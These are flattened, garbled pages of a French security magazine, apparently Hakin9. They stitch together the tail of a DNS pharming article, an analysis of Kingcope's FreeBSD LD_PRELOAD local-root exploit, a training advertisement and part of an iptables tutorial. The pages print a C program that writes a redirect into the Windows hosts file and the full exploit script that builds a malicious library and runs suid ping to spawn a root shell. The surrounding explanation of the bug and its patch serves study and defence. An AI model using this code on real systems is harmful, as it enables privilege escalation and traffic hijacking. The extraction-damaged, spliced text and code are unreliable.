Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 19: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

